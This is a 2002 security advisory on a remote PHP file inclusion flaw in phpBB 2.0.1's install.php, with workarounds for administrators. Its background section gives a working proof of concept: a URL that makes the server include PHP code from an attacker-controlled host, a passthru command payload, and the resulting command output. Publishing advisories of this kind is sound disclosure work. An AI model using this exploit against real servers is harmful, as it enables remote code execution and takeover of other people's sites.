malicious PHP source injection in phpBB

[morris Chang <onlooker () cnun xsdeny net>]

JCC Security Advisory
June 16, 2002

malicious PHP source injection in phpBB

Description

phpBB is one of popular PHP bulletin board systems.
When allow_url_fopen = On and register_globals = On in php.ini, phpBB has
vulnerability because install.php contains dangerous codes.
So an attacker can include any files into server's PHP codes.

Impact

It's tested on phpBB 2.0.1. but I think all of phpBB 2 is affected.

Workaround

allow_url_fopen = off and register_globals = off. 
and if complete install remove or rename install.php.
Or in install.php
-------install.php------------
define('IN_PHPBB', true);
$phpbb_root_path='./';
----------------------------
Put it
-------snip-----------------
$phpbb_root_dir='./';
----------------------------

Good idea to code that <<PHP_CODE
ini_set("register_globals", "Off");
ini_set ("allow_url_fopen", "Off");
PHP_CODE

Tested systems 

phpBB 2.0.1 Debian GNU/Linux SID(x86)

Background

We checked the vulnerability with "http://URL/install.php?phpbb_root_dir=WANTED_TO_INCLUDE"; and
 made a sample code, functions_selects.php,

--------------------includes/functions_selects.php--------------
<? passthru("uname -a"); ?>
-----------------------------------------

and type the following URL to invoke this sample code.

TEST URL : http://URL/install.php?phpbb_root_dir=http://MYBOX/";

-------out put----------------------------
Linux cpu 2.4.18-686 #1 Sun Apr 14 11:32:47 EST 2002 i686 unknown 
Warning: Cannot add header information - headers already sent by (output started at 
http://210.117.152.118:6969/includes/functions_selects.php:1) in 
/home/morris/public_html/tmp/phpBB2/includes/sessions.php on line 182

Warning: Cannot add header information - headers already sent by (output started at 
http://210.117.152.118:6969/includes/functions_selects.php:1) in 
/home/morris/public_html/tmp/phpBB2/includes/sessions.php on line 183

Warning: Cannot add header information - headers already sent by (output started at 
http://210.117.152.118:6969/includes/functions_selects.php:1) in /home/morris/public_html/tmp/phpBB2/install.php on 
line 346
-----------------------------------------

thx for BlackKnight at r0ar
---
http://jcc.hackerslab.org(at morris Chang)

e-mail : morris () xsdeny net